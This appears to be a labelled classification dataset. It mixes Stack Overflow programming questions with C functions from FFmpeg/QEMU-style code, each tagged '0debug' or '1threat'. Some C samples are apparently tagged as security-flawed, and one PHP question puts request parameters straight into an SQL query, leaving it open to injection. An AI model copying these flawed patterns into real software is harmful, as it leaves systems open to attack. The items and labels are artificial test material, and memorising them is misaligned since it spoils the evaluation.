for (i = 0; i < num_possible_block_sizes; i++) {
int block_size = s->samples_per_frame >> i;
int cutoff = (440*block_size + 3LL * (s->avctx->sample_rate >> 1) - 1)
/ s->avctx->sample_rate;
s->subwoofer_cutoffs[i] = av_clip(cutoff, 4, block_size);
}
for (i = 0; i < 33; i++)
sin64[i] = sin(i*M_PI / 64.0);
if (avctx->debug & FF_DEBUG_BITSTREAM)
dump_context(s);
avctx->channel_layout = channel_mask;
return 0;
}
| 1threat |
Exporting a function on typescript "declaration or statement expected" : <p>I realize this is really simple but typescript seems to have changed a lot in the last years and i just cant get this done with previous answers i found here on stack overflow.</p>
<pre><code>let myfunction = something that returns a function
export myfunction;
</code></pre>
<p>I get an error "declaration or statement expected"</p>
<p>How can i export a function from a really simple ts file to be able to use the function in another ts file?</p>
| 0debug |
Why does Arrays.asList return a fixed-size List? : <p><code>Arrays.asList</code> is a useful and convenient method, but it returns a <code>List</code> whose size is fixed, such that no elements can be added or removed with <code>add</code> or <code>remove</code> (<code>UnsupportedOperationException</code> is thrown). </p>
<p>Is there a good reason for that? It looks like an odd restriction to me. </p>
<p>The <a href="https://docs.oracle.com/javase/7/docs/api/java/util/Arrays.html#asList(T...)" rel="noreferrer">documentation</a> does not explain the reason behind it: </p>
<blockquote>
<p>Returns a fixed-size list backed by the specified array.</p>
</blockquote>
| 0debug |
I get an error message, and I do not know what it is : <p>I got this Error, could somebody help me? :)</p>
<p>Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in ....... on line 98</p>
<p>PDO: </p>
<pre><code>function createNewNews($autor, $titel, $news) {
$stmt = self::$_db->prepare('INSERT INTO eintraege (Autor, Headline, Datum, Eintrag) VALUES (:autor, :Headline, :datum, :news)');
$stmt->bindParam(":autor", $autor);
$stmt->bindParam(":datum", $datum);
$stmt->bindParam(":news", $titel);
$stmt->bindParam(":titel", $news);
if($stmt->execute()) {
return true;
} else {
return false;
}
}
</code></pre>
<p>PHP: </p>
<pre><code>if(isset($_POST['submit'])) {
$autor = $_POST['autor'];
$datum = $_POST['datum'];
$news = $_POST['titel'];
$titel = $_POST['news'];
if($db->createNewNews($autor, $titel, $news)) {
echo "YES!";
} else {
echo "No!";
}
}
</code></pre>
| 0debug |
template typename not running on dynamic allocation : I have written 3 template functions but when I run the code, it gives error on the first function's body where the memory to arr is dynamically allocated. Following is the code, please help me in finding what I missed. Thanks
Error: Error 1 error C2440: '=' : cannot convert from 'int **' to 'int *'
#include<iostream>
using namespace std;
template<typename T>
void input(T arr, int size){
**arr = new T[size];**
for(int i=0; i<size; i++){
cout<<"\nEnter: ";
cin>>arr[i];
}
}
template<typename T>
void sort(T arr, int size){
int temp;
for(int j=0; j<size-1; j++){
for(int i=0; i<size-1; i++){
if(arr[i]>arr[i+1]){
temp=arr[i];
arr[i]=arr[i+1];
arr[i+1]=temp;
}
}
}
}
template<typename T>
void display(T arr, int size){
cout<<"\nAfter Sorting: "<<endl;
for(int i=0; i<size; i++){
cout<<arr[i]<<"\t";
}
}
int main(){
int* x=NULL;
int size;
cout<<"Enter the number of elements: ";
cin>>size;
cout<<"\nEnter integer values:";
input<int*>(x, size);
// sort(x, size);
display<int*>(x, size);
/***
cout<<"\nEnter floating values:";
input(x, size);
sort(x, size);
display(x, size);
cout<<"\nEnter character values:";
input(x, size);
sort(x, size);
display(x, size);
*/
system("pause");
} | 0debug |
static void apc_init(target_phys_addr_t power_base, qemu_irq cpu_halt)
{
DeviceState *dev;
SysBusDevice *s;
dev = qdev_create(NULL, "apc");
qdev_init(dev);
s = sysbus_from_qdev(dev);
sysbus_mmio_map(s, 0, power_base);
sysbus_connect_irq(s, 0, cpu_halt);
}
| 1threat |
how to remove whitespace between 2 paragraphs in IOS using swift? : [enter image description here][1]
[1]: http://i.stack.imgur.com/mRkZz.png
I am getting data from Html to the text.
Now please tell me how to avoid the space between two paragraphs ? | 0debug |
static void tm_put(QEMUFile *f, struct tm *tm) {
qemu_put_be16(f, tm->tm_sec);
qemu_put_be16(f, tm->tm_min);
qemu_put_be16(f, tm->tm_hour);
qemu_put_be16(f, tm->tm_mday);
qemu_put_be16(f, tm->tm_min);
qemu_put_be16(f, tm->tm_year);
}
| 1threat |
Find elements which are present in first array and not in second given arrays are in sorted?solve in linear time and without using collections : static void findMissing(int a[], int b[], int n, int m) { for (int i = 0; i < n; i++) { int j; for (j = 0; j < m; j++) if (a[i] == b[j]) break; if (j == m) System.out.print(a[i] + " "); } | 0debug |
Itext7 generate pdf with Exception "Pdf indirect object belongs to other PDF document. Copy object to current pdf document." : <p>i want to generate a pdf with itext 7,but some wrong happens to us:</p>
<pre><code>com.itextpdf.kernel.PdfException: Pdf indirect object belongs to other PDF document. Copy object to current pdf document.
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:195) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:185) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:115) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:187) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:115) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:187) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfOutputStream.write(PdfOutputStream.java:115) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfWriter.writeToBody(PdfWriter.java:383) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfWriter.flushObject(PdfWriter.java:289) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfDocument.flushObject(PdfDocument.java:1572) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfObject.flush(PdfObject.java:159) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfObject.flush(PdfObject.java:127) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfObjectWrapper.flush(PdfObjectWrapper.java:94) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfPage.flush(PdfPage.java:495) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfPage.flush(PdfPage.java:454) ~[kernel-7.0.2.jar:na]
at com.itextpdf.kernel.pdf.PdfDocument.close(PdfDocument.java:785) ~[kernel-7.0.2.jar:na]
at com.itextpdf.layout.Document.close(Document.java:120) ~[layout-7.0.2.jar:na]
at com.xcz.afbp.thirdparty.service.impl.GeneratePDFService.generatePDF(GeneratePDFService.java:160) ~[classes/:na]
</code></pre>
<p>my generate code :</p>
<pre><code>public void generatePDF(CreditQueryData creditQueryData, Map<String, UserCreditContentView> contentViewMap, List<PackageCreditContentView> needRetrievedCreditContentList, File pdfFile, BigDecimal score) throws Exception {
if (!pdfFile.exists()) {
boolean x = pdfFile.createNewFile();
if (!x) {
LOG.error("生成文件出错" + pdfFile.getPath());
return;
}
}
PdfDocument pdf = new PdfDocument(new PdfWriter(new FileOutputStream(pdfFile)));
Document document = new Document(pdf, PageSize.A4);
document.setRenderer(new DocumentRenderer(document));
pdf.addEventHandler(PdfDocumentEvent.END_PAGE, new WatermarkingEventHandler());
try {
//operate code just add tableA tableB tableC...
} catch (Exception e) {
LOG.info();
} finally {
document.close(); //exception throws here
}
}
</code></pre>
<p>my only style code in itext7:</p>
<pre><code> private PdfFont bfChinese = null;
</code></pre>
<p>will be init in service constructor invoked:</p>
<pre><code> public GeneratePDFService() {
String PdfFontPath = EnvironmentUtils.getClasspathFilePath("font/MSYH.TTF");
try {
bfChinese = PdfFontFactory.createFont(PdfFontPath, "Identity-H", true);
} catch (Exception e) {
e.printStackTrace();
}
}
</code></pre>
<p>i have tried set my font to <em>static</em>,but not works.</p>
<p>this is the place throw exception:</p>
<pre><code>private void write(PdfIndirectReference indirectReference) {
if (document != null && !indirectReference.getDocument().equals(document)) {
throw new PdfException(PdfException.PdfIndirectObjectBelongsToOtherPdfDocument);
}
if (indirectReference.getRefersTo() == null) {
write(PdfNull.PDF_NULL);
} else if (indirectReference.getGenNumber() == 0) {
writeInteger(indirectReference.getObjNumber()).
writeBytes(endIndirectWithZeroGenNr);
} else {
writeInteger(indirectReference.getObjNumber()).
writeSpace().
writeInteger(indirectReference.getGenNumber()).
writeBytes(endIndirect);
}
}
</code></pre>
<p>it's means i have two different document ,but i do not know when i have create another document.
Thanks in advance for suggestions.</p>
| 0debug |
How to have python code and markdown in one cell : <p>Can jupyter notebook support inline python code (arthritic calculations, or plot a figure) in markdown cell, or verse visa. Have both python code and markdown in one cell.</p>
| 0debug |
Android - setAdapter in Fragment : <p>I'm attempting to populate a list in a ListView.
The Fragment I'm using is a tab in my activity.
When I'm trying to create the adapter for the ListView, I encounter an issue.
The adapter I've created TaskItemAdapter up to this point was used in an activity in which there were no tabs, so the contractor was:</p>
<pre><code> public TaskItemAdapter(Context context, List<Task> list) {
this.itemList = list;
this.context = context;
inflater = LayoutInflater.from(this.context);
}
</code></pre>
<p>This is the initialization:</p>
<pre><code>list.setAdapter(new TaskItemAdapter(context, itemList));
</code></pre>
<p>But when I try this in a Fragment, I encounter an issue, as there is no Context to transfer to the contractor.
How can I resolve this?</p>
| 0debug |
How the user would like to be able to find the employees with the lowest yearly salary? : <p>I have to create an appropriate GUI to enter information for at least 10 employee. for each employee i have to enter the following information. employee ID, employee first name, employee last name and yearly salary. besides i have to check for the correctness of the input data. in addition i need to create a separate class EMPLOYEE, containing employee information: employee ID, first name , last name and yearly salary. the class should have constructors properties and methods. all the employee information has to be stored in a array of type employee. after reading form GUI the information about particular employee , also create an object of class employee(element of the array) with the relevant constructor. the user would like to be able to find the employee with lowest yearly salary despite of having more than one employee with lowest yearly salary. and display information about them. user should be provided with appropriate GUI to display the required information. i need to assure including in my program appropriate code for handling exceptions and also methods where appropriate.</p>
<p>here is the class employee:</p>
<pre><code>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Project_employee
{
class Employee
{
private int employeeID;
private string fullName;
private string lastName;
private double salary;
public Employee()
{
employeeID = 0;
fullName = "";
lastName = "";
salary = 0.0;
}
public Employee(int empIDValue, string fullNameVal, string lastNameVal)
{
employeeID = empIDValue;
fullName = fullNameVal;
lastName = lastNameVal;
salary = 0.0;
}
public Employee(int empIDValue, string fullNameVal, string lastNameVal, double salaryValue)
{
employeeID = empIDValue;
fullName = fullNameVal;
lastName = lastNameVal;
salary = salaryValue;
}
public int EmployeeIDNum
{
get
{
return employeeID;
}
set
{
employeeID = value;
}
}
public string FullName
{
get
{
return fullName;
}
set
{
fullName = value;
}
}
public int Getinfo
{
get
{
return employeeID;
}
set
{
employeeID = value;
}
}
public string employeeInformationToString()
{
// employeeID = Convert.ToInt32(this.textBox1.Text);
return (Convert.ToString(employeeID) + " " + fullName + " " + lastName + " " + Convert.ToString(salary));
}
}
}
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Project_employee
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void richTextBox1_TextChanged(object sender, EventArgs e)
{
}
private void Searchbtn_Click(object sender, EventArgs e)
{
employee[0] = new Employee();
employee[1] = new Employee(17433, "Adrian", "Smith", 8000.00);
employee[2] = new Employee(17434, "Stephen", "Rad", 9000.00);
employee[3] = new Employee(17435, "Jesse", "Harris", 800.00);
employee[4] = new Employee(17436, "jonatan", "Morris", 9500.00);
employee[5] = new Employee(17437, "Morgen", "Freeman", 12000.00);
employee[6] = new Employee(17438, "Leory", "Gomez", 10200.00);
employee[7] = new Employee(17439, "Michael", "Brown", 9000.00);
employee[8] = new Employee(17440, "Andrew", "White", 3500.00);
employee[9] = new Employee(17441, "Maria", "Carson", 12000.00);
//employee[10] = new Employee(17442, "Mark", "Jonson", 17000.00);
for(int i = 0; i < 10; i++)
{
string employeeString = employee[i].employeeInformationToString() + "\r\n";
richTextBox1.AppendText(employeeString);
}
}
Employee[] employee = new Employee[10];
private void getinfibtn_Click(object sender, EventArgs e)
{
Find();
}
private void Find()
{
}
}
}
</code></pre>
<p>My question is:</p>
<p>How the user can find the employee with the lowest yearly salary. i have to make sure that there can be more than one employee with lowest yearly salary and display the information about them. providing the user with an appropriate GUI (e.g a message box) to display the required information with including appropriate code for handling exceptions and also use methods where appropriate?</p>
| 0debug |
Javascript client side ssh / ping / scp : <p>I'm trying to build a web app that has the capability to scp, ssh, and ping devices on the local network from Javascript client-side. I'm very familiar with Django, but that's all server side code and won't be able to communicate with a device on the local area network. </p>
<p>Is there any way to do this in Javascript? I know that packages like <a href="https://github.com/spmjs/node-scp2" rel="nofollow">scp2</a> in NodeJS do exactly what I want, but NodeJS is a server-side framework too. I'm looking for something that does what scp2 does, but client-side. </p>
| 0debug |
Ingress gives 502 error : <p>If I run through the <a href="https://cloud.google.com/container-engine/docs/tutorials/http-balancer" rel="noreferrer">http load balancer example</a> it works fine in my google container engine project. When I run "kubectl describe ing" the backend is "HEALTHY". If I then change the svc out to one that points to my app as shown here:</p>
<pre><code>apiVersion: v1
kind: Service
metadata:
name: app
labels:
name: app
spec:
ports:
- port: 8000
name: http
targetPort: 8000
selector:
name: app
type: NodePort
</code></pre>
<p>The app I'm running is django behind gunicorn and works just find if I make that a load balancer instead of a NodePort.</p>
<pre><code>apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: main-ingress
spec:
backend:
serviceName: app
servicePort: 8000
</code></pre>
<p>Now when I run "kubectl describe ing" the backend is listed as "UNHEALTHY" and all requests to the ingress IP give a 502. </p>
<ol>
<li>Is the 502 a symptom of the bad health check?</li>
<li>What do I have to do to make the health check pass? I'm pretty sure the container running my app is actually healthy. I never set up a health check so I'm assuming I have to configure something that is not configured, but my googling hasn't gotten me anywhere.</li>
</ol>
| 0debug |
C# picture box why use this +x+ : why use +x+ in imagelocation
private void CreateEnemies()
{
Random rnd = new Random();
int x = rnd.Next(1, kindOfEnemies + 1);
PictureBox enamy = new PictureBox();
int loc = rnd.Next(0, panel1.Height - enamy.Height);
enamy.SizeMode = PictureBoxSizeMode.StretchImage;
enamy.ImageLocation = "Aliens/"+x+".png";
}
I don't understand why use this +x+ for search image location. | 0debug |
def odd_position(nums):
return all(nums[i]%2==i%2 for i in range(len(nums))) | 0debug |
void qdev_prop_allow_set_link_before_realize(Object *obj, const char *name,
Object *val, Error **errp)
{
DeviceState *dev = DEVICE(obj);
if (dev->realized) {
error_setg(errp, "Attempt to set link property '%s' on device '%s' "
"(type '%s') after it was realized",
name, dev->id, object_get_typename(obj));
}
}
| 1threat |
static int scaling_list_data(GetBitContext *gb, AVCodecContext *avctx, ScalingList *sl, HEVCSPS *sps)
{
uint8_t scaling_list_pred_mode_flag;
int32_t scaling_list_dc_coef[2][6];
int size_id, matrix_id, pos;
int i;
for (size_id = 0; size_id < 4; size_id++)
for (matrix_id = 0; matrix_id < 6; matrix_id += ((size_id == 3) ? 3 : 1)) {
scaling_list_pred_mode_flag = get_bits1(gb);
if (!scaling_list_pred_mode_flag) {
unsigned int delta = get_ue_golomb_long(gb);
if (delta) {
if (matrix_id < delta) {
av_log(avctx, AV_LOG_ERROR,
"Invalid delta in scaling list data: %d.\n", delta);
return AVERROR_INVALIDDATA;
}
memcpy(sl->sl[size_id][matrix_id],
sl->sl[size_id][matrix_id - delta],
size_id > 0 ? 64 : 16);
if (size_id > 1)
sl->sl_dc[size_id - 2][matrix_id] = sl->sl_dc[size_id - 2][matrix_id - delta];
}
} else {
int next_coef, coef_num;
int32_t scaling_list_delta_coef;
next_coef = 8;
coef_num = FFMIN(64, 1 << (4 + (size_id << 1)));
if (size_id > 1) {
scaling_list_dc_coef[size_id - 2][matrix_id] = get_se_golomb(gb) + 8;
next_coef = scaling_list_dc_coef[size_id - 2][matrix_id];
sl->sl_dc[size_id - 2][matrix_id] = next_coef;
}
for (i = 0; i < coef_num; i++) {
if (size_id == 0)
pos = 4 * ff_hevc_diag_scan4x4_y[i] +
ff_hevc_diag_scan4x4_x[i];
else
pos = 8 * ff_hevc_diag_scan8x8_y[i] +
ff_hevc_diag_scan8x8_x[i];
scaling_list_delta_coef = get_se_golomb(gb);
next_coef = (next_coef + scaling_list_delta_coef + 256) % 256;
sl->sl[size_id][matrix_id][pos] = next_coef;
}
}
}
if (sps->chroma_format_idc == 3) {
for (i = 0; i < 64; i++) {
sl->sl[3][1][i] = sl->sl[2][1][i];
sl->sl[3][2][i] = sl->sl[2][2][i];
sl->sl[3][4][i] = sl->sl[2][4][i];
sl->sl[3][5][i] = sl->sl[2][5][i];
}
sl->sl_dc[1][1] = sl->sl_dc[0][1];
sl->sl_dc[1][2] = sl->sl_dc[0][2];
sl->sl_dc[1][4] = sl->sl_dc[0][4];
sl->sl_dc[1][5] = sl->sl_dc[0][5];
}
return 0;
}
| 1threat |
How does Postman generate oAuth 1.0a signatures? : <p>I'm attempting to connect to an oAuth 1.0 authenticated endpoint but the signature that Postman creates does not match the signature we expect in our code. As far as I can see all the parameters that I have added are correct (Url, consumer_key, consumer_secret, nonce, timestamp, HMAC-SHA1) but Postman just seems to generate a different signature with these details. Does anyone know how Postman creates the signature?</p>
| 0debug |
How can i pass the input box value on clicking anchor tag to php? : I want to pass the value for each rows to php page to update in database i m able to pass only id not the input box value
This is the table body
<?php
$cards = mysqli_query($con,"SELECT Username, Card_No, Card_Status FROM
smartcard WHERE Card_Status NOT IN (SELECT Card_Status FROM smartcard where Card_Status = 'Issued')");
?>
<tbody>
<?php
while ($row = mysqli_fetch_assoc($cards))
{
echo '<tr>';
foreach ($row as $key => $value) {
echo '<td style="word-wrap: break-word;min-width: 10px;max-width: 300px;">',$value,'</td>';
}
echo '<form action="php/issue_card.php" method="POST"><td><input id="textbox" name="new_status" type="text" class="form-control" required="required"/></td>';
echo "<td><a href='php/issue_card.php?id=".$row['Card_No']."'><button type=\"button\" class=\"btn btn-link\">Status Update</button></a></td></form>";
echo '</tr>';
}
?>
</tbody>
This is the php page issue_card.php
<?php
include("connect.php");
$con = OpenCon();
$smartcard_no = $_GET['id'];
$admin_id = $_SESSION['Admin_Id'];
$new_status = $_POST['new_status'];
$sql = "UPDATE smartcard SET Card_Status = '$new_status', Admin_Id ='$admin_id' WHERE smartcard.smartcard_no = $smartcard_no";
mysqli_query($con, $sql);
CloseCon($con);
?>
For each row there will be different smartcard_no so i m using anchor tag to pass that directly using GET but not able to pass input box value. | 0debug |
Who know hot convert this from curl to php : Does someone know how to convert this to php? Or may be can convert..
curl -X DELETE "https://api.cloudflare.com/client/v4/zones/fjsdf834u8fhsdfh343/purge_cache" \
-H "X-Auth-Email: user@example.com" \
-H "X-Auth-Key: c254fsdfg34320b638f5e225c545fsddasc5cfdda41" \
-H "Content-Type: application/json" \
--data '{"purge_everything":true}' | 0debug |
How to fix error: failed to download on rbenv install : <p>On fresh, new CentOS 7.0 VM Rbenv installation will not install rubies for me</p>
<pre><code>[vagrant@ad-proxy ~]$ rbenv install 2.2.4
Downloading ruby-2.2.4.tar.bz2...
-> https://cache.ruby-lang.org/pub/ruby/2.2/ruby-2.2.4.tar.bz2
error: failed to download ruby-2.2.4.tar.bz2
BUILD FAILED (CentOS Linux 7 using ruby-build 20170405-4-g365dd1f)
</code></pre>
<p>With more verbose loging it shows</p>
<pre><code>[vagrant@ad-proxy ~]$ rbenv install 2.2.4 -v
/tmp/ruby-build.20170515092651.20803 ~
Downloading ruby-2.2.4.tar.bz2...
-> https://cache.ruby-lang.org/pub/ruby/2.2/ruby-2.2.4.tar.bz2
curl: (35) Peer reports incompatible or unsupported protocol version.
error: failed to download ruby-2.2.4.tar.bz2
BUILD FAILED (CentOS Linux 7 using ruby-build 20170405-4-g365dd1f)
</code></pre>
<p>The issue seems to originate in curl it looks like for example</p>
<pre><code>[vagrant@ad-proxy ~]$ curl https://cache.ruby-lang.org/pub/ruby/2.2/ruby-2.2.4.tar.bz2
curl: (35) Peer reports incompatible or unsupported protocol version.
[vagrant@ad-proxy ~]$ curl https://cache.ruby-lang.org/pub/ruby/2.2/ruby-2.2.4.tar.bz2 -v
* About to connect() to cache.ruby-lang.org port 443 (#0)
* Trying 151.101.36.233...
* Connected to cache.ruby-lang.org (151.101.36.233) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* CAfile: /etc/pki/tls/certs/ca-bundle.crt
CApath: none
* NSS error -12190 (SSL_ERROR_PROTOCOL_VERSION_ALERT)
* Peer reports incompatible or unsupported protocol version.
* Closing connection 0
curl: (35) Peer reports incompatible or unsupported protocol version.
[vagrant@ad-proxy ~]$
</code></pre>
| 0debug |
void cpu_loop(CPUMBState *env)
{
int trapnr, ret;
target_siginfo_t info;
while (1) {
trapnr = cpu_mb_exec (env);
switch (trapnr) {
case 0xaa:
{
info.si_signo = SIGSEGV;
info.si_errno = 0;
info.si_code = TARGET_SEGV_MAPERR;
info._sifields._sigfault._addr = 0;
queue_signal(env, info.si_signo, &info);
}
break;
case EXCP_INTERRUPT:
break;
case EXCP_BREAK:
env->regs[14] += 4;
ret = do_syscall(env,
env->regs[12],
env->regs[5],
env->regs[6],
env->regs[7],
env->regs[8],
env->regs[9],
env->regs[10],
0, 0);
env->regs[3] = ret;
env->sregs[SR_PC] = env->regs[14];
break;
case EXCP_HW_EXCP:
env->regs[17] = env->sregs[SR_PC] + 4;
if (env->iflags & D_FLAG) {
env->sregs[SR_ESR] |= 1 << 12;
env->sregs[SR_PC] -= 4;
}
env->iflags &= ~(IMM_FLAG | D_FLAG);
switch (env->sregs[SR_ESR] & 31) {
case ESR_EC_DIVZERO:
info.si_signo = SIGFPE;
info.si_errno = 0;
info.si_code = TARGET_FPE_FLTDIV;
info._sifields._sigfault._addr = 0;
queue_signal(env, info.si_signo, &info);
break;
case ESR_EC_FPU:
info.si_signo = SIGFPE;
info.si_errno = 0;
if (env->sregs[SR_FSR] & FSR_IO) {
info.si_code = TARGET_FPE_FLTINV;
}
if (env->sregs[SR_FSR] & FSR_DZ) {
info.si_code = TARGET_FPE_FLTDIV;
}
info._sifields._sigfault._addr = 0;
queue_signal(env, info.si_signo, &info);
break;
default:
printf ("Unhandled hw-exception: 0x%x\n",
env->sregs[SR_ESR] & ESR_EC_MASK);
cpu_dump_state(env, stderr, fprintf, 0);
exit (1);
break;
}
break;
case EXCP_DEBUG:
{
int sig;
sig = gdb_handlesig (env, TARGET_SIGTRAP);
if (sig)
{
info.si_signo = sig;
info.si_errno = 0;
info.si_code = TARGET_TRAP_BRKPT;
queue_signal(env, info.si_signo, &info);
}
}
break;
default:
printf ("Unhandled trap: 0x%x\n", trapnr);
cpu_dump_state(env, stderr, fprintf, 0);
exit (1);
}
process_pending_signals (env);
}
}
| 1threat |
Static field requires null instance, non-static field requires non-null instance. Parameter name: expression : <p>I have seen possible solutions to this error, but I just don't understand how to fix mine.
My code looks like this:</p>
<pre><code>}
/// <summary>
/// Gets our data reader
/// </summary>
/// <param name="reader">The reader to return</param>
/// <returns></returns>
private Func<IDataReader, T> GetReader(IDataReader reader)
{
Delegate resDelegate;
// For each field, add to our columns
List<string> readerColumns = new List<string>();
for (int index = 0; index < reader.FieldCount; index++)
readerColumns.Add(reader.GetName(index));
// Determine the information about the reader
var readerParam = Expression.Parameter(typeof(IDataReader), "reader");
var readerGetValue = typeof(IDataReader).GetMethod("GetValue");
// Create a Constant expression of DBNull.Value to compare values to in reader
var dbNullValue = typeof(DBNull).GetField("Value");
var dbNullExp = Expression.Field(Expression.Parameter(typeof(DBNull), "System.DBNull"), dbNullValue);
// Loop through the properties and create MemberBinding expressions for each property
List<MemberBinding> memberBindings = new List<MemberBinding>();
foreach (var prop in typeof(T).GetProperties())
{
// Determine the default value of the property
object defaultValue = null;
if (prop.PropertyType.IsValueType)
defaultValue = Activator.CreateInstance(prop.PropertyType);
else if (prop.PropertyType.Name.ToLower().Equals("string"))
defaultValue = string.Empty;
// If the column exists
if (readerColumns.Contains(prop.Name))
{
// Build the Call expression to retrieve the data value from the reader
var indexExpression = Expression.Constant(reader.GetOrdinal(prop.Name));
var getValueExp = Expression.Call(readerParam, readerGetValue, new Expression[] { indexExpression });
// Create the conditional expression to make sure the reader value != DBNull.Value
var testExp = Expression.NotEqual(dbNullExp, getValueExp);
var ifTrue = Expression.Convert(getValueExp, prop.PropertyType);
var ifFalse = Expression.Convert(Expression.Constant(defaultValue), prop.PropertyType);
// Create the actual Bind expression to bind the value from the reader to the property value
var mi = typeof(T).GetMember(prop.Name)[0];
var mb = Expression.Bind(mi, Expression.Condition(testExp, ifTrue, ifFalse));
memberBindings.Add(mb);
}
}
// Create a MemberInit expression for the item with the member bindings
var newItem = Expression.New(typeof(T));
var memberInit = Expression.MemberInit(newItem, memberBindings);
// Create the lambda expression
var lambda = Expression.Lambda<Func<IDataReader, T>>(memberInit, new ParameterExpression[] { readerParam });
resDelegate = lambda.Compile();
// Return our delegate
return (Func<IDataReader, T>)resDelegate;
}
</code></pre>
<p>and as the title says, the error I get is:</p>
<blockquote>
<p>Static field requires null instance, non-static field requires non-null instance. Parameter name: expression</p>
</blockquote>
<p>which is this line:</p>
<pre><code>var dbNullExp = Expression.Field(Expression.Parameter(typeof(DBNull), "System.DBNull"), dbNullValue);
</code></pre>
<p>Can anyone tell me why I am getting the error and how to fix it?</p>
| 0debug |
How to use Or operator in javascript : <p>I am trying to use an if statement and the or || operator to test if the value of the select box option for type of room is either single King, single Double Queen, or single two twins and then execute some code. I keep getting the message "uncaught syntax error unidentified token ||" right where the || operator is in the if statement.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var hotel = {
name:"Benson hotel",
rooms:500,
jsuites:10,
ssuites:10,
booked:100,
checkAvailability: function(){
return this.rooms - this.booked;
}
};
hotel.name = "Bonton";
var elName = document.getElementById("hotelN");
elName.textContent = hotel.name;
function checkin(){
var nRooms = document.getElementById("numRooms").value * 1;
var tRoom = document.getElementById("typeRoom");
if (tRoom.value = "singleK")||(tRoom.value ="singleQ")||(tRoom.value = "singleT") { //*I am getting the following message about above line of code in the console. "uncaught syntax error unidentified token ||" Obviously the above if statement with || operator is not correct//
hotel.booked = numRooms + hotel.booked;
if hotel.checkAvailability() < 0 {
var rAvail = nRooms + (hotel.checkAvailability());
if rAvail <= 0 {
var noSay = document.getElementById("say");
noSay.textContent = "We have no rooms available";
}
else {
var yesSay = document.getElementById("say");
yesSay.textContent = "We have" + rAvail + "rooms available";
}
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><body>
<div id="wrapper">
<div id="heading">
<h1 id="hotelN"></h1>
/div>
<div id="main">
<form id="myForm">
<fieldset>
<legend>Book a Room</legend><p>
<label for="rm1">Number of Rooms:</label>
<input type="number" max="10" min="1" value="1"name="rm" id="numRooms">
Type of room: <select type="text" maxlength="14" id="typeRoom">
<option value="singleK">Single King Bed</option>
<option value="singleQ">Single Queen Bed</option>
<option value="singleT">Single Two Twins</option>
<option value="jsuite">Junior One Bedroom Suite</option>
<option value="srsuite">Senior Two Bedroom Suite</option>
</select></p>
Occupancy:<select type="text">
<option>One adult</option>
<option>Two adults</option>
<option>One adult and Child</option>
</select>
Check In Date: <input type="date"name="checkin" id="cInDate">
Check Out Date: <input type="date" name="checkout" id="cOutDate">
<button type="button" onclick="checkin()">Submit</button>
</fieldset>
</form>
<H1 class="al">Hotel Room Availability</H1>
<p class="al" ><span id="say"></span> and check out on July <span id="dateOut"></span></p>
<p id="first">jjjj</p>
<p id="second"></p>
</div>
</div></code></pre>
</div>
</div>
</p>
| 0debug |
spark-submit, how to specify log4j.properties : <p>In spark-submit, how to specify log4j.properties ?</p>
<p>Here is my script. I have tried all of combinations and even just use one local node. but looks like the log4j.properties is not loaded, all debug level info was dumped. </p>
<pre><code>current_dir=/tmp
DRIVER_JAVA_OPTIONS="-Dlog4j.configuration=file://${current_dir}/log4j.properties "
spark-submit \
--conf "spark.driver.extraClassPath=$current_dir/lib/*" \
--conf "spark.driver.extraJavaOptions=-Djava.security.krb5.conf=${current_dir}/config/krb5.conf -Djava.security.auth.login.config=${current_dir}/config/mssqldriver.conf" \
--conf "spark.executor.extraJavaOptions=-Dlog4j.configuration=file://${curent_dir}/log4j.properties " \
--class "my.AppMain" \
--files ${current_dir}/log4j.properties \
--master local[1] \
--driver-java-options "$DRIVER_JAVA_OPTIONS" \
--num-executors 4 \
--driver-memory 16g \
--executor-cores 10 \
--executor-memory 6g \
$current_dir/my-app-SNAPSHOT-assembly.jar
</code></pre>
<p>log4j properties:</p>
<pre><code>log4j.rootCategory=INFO, console
log4j.appender.console=org.apache.log4j.ConsoleAppender
log4j.appender.console.layout=org.apache.log4j.PatternLayout
log4j.appender.console.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
log4j.additivity.org=false
log4j.logger.org=WARN
parquet.hadoop=WARN
log4j.logger.com.barcap.eddi=WARN
log4j.logger.com.barcap.mercury=WARN
log4j.logger.yarn=WARN
log4j.logger.io.netty=WARN
log4j.logger.Remoting=WARN
log4j.logger.org.apache.hadoop=ERROR
# this disables the table creation logging which is so verbose
log4j.logger.hive.ql.parse.ParseDriver=WARN
# this disables pagination nonsense when running in combined mode
log4j.logger.com.barcap.risk.webservice.servlet.PaginationFactory=WARN
</code></pre>
| 0debug |
